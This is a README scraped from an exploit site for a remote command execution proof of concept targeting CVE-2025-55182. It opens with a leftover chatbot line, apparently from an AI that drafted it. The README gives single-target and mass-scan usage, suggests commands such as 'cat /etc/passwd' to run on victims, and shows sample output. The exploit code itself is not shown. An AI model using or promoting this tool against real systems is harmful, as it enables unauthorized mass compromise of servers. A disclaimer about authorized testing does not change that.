Share
## https://sploitus.com/exploit?id=72F59DCA-657F-50AC-8E08-4F8A7F2288F4
Here is your ready-to-copy-paste README.md โ€” clean, professional, minimal, and perfect for GitHub:
Markdown# CVE-2025-55182 - Command Injection PoC
> Remote Command Execution Proof of Concept with Full Output Display  
> Discovered & Developed by **EynaExp**
โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—
โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ•šโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ•šโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—
โ–ˆโ–ˆโ•‘      โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—   โ•šโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•
โ–ˆโ–ˆโ•‘       โ•šโ–ˆโ–ˆโ•”โ•  โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•   โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ•โ•โ•
โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘
โ•šโ•โ•โ•โ•โ•โ•โ•  โ•šโ•โ•   โ•šโ•โ•  โ•šโ•โ•โ•โ•โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•
CVE-2025-55182 | RCE PoC
by EynaExp
text## Features
- Executes real commands on vulnerable targets
- Displays **full command output** (`whoami`, `id`, `cat /etc/passwd`, etc.)
- Single target or mass scan from file
- Auto detects HTTP/HTTPS
- Saves all results with output
- Clean, readable console output

## Usage

```bash
# Single target
python3 cve-2025-55182.py -t 192.168.1.100:8080 -c "whoami"

# Mass scan
python3 cve-2025-55182.py -l targets.txt -c "id" -o vulnerable.txt

# Advanced
python3 cve-2025-55182.py -l hosts.txt -c "uname -a && whoami" --timeout 15
Options
text-t, --target     Single target (IP:PORT or domain)
-l, --list       File with list of targets (one per line)
-c, --command    Command to execute (required)
-o, --output     Output file (default: cve-2025-55182-vulnerable.txt)
--timeout        Request timeout in seconds (default: 12)
Example Output
text[+] VULNERABLE โ†’ 10.10.10.88:8080
[+] URL: http://10.10.10.88:8080
[+] Command: whoami
[+] Output:

    www-data
Important Disclaimer
This tool is for EDUCATIONAL and AUTHORIZED security testing only.

Use only on systems you own or have explicit written permission to test.
Unauthorized access or scanning is illegal in most jurisdictions.
The author EynaExp is not responsible for any misuse of this script.

By using this PoC, you agree to act ethically and legally.
Author
Researcher: EynaExp
GitHub: https://github.com/EynaExp
Released for the security research community โ€” use responsibly.

MIT License | ยฉ 2025 EynaExp